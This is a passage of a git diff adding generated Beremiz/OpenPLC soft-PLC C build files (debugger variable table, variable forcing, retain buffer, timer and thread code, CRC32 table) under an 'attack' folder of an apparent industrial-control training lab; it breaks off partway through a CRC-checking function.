+{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + 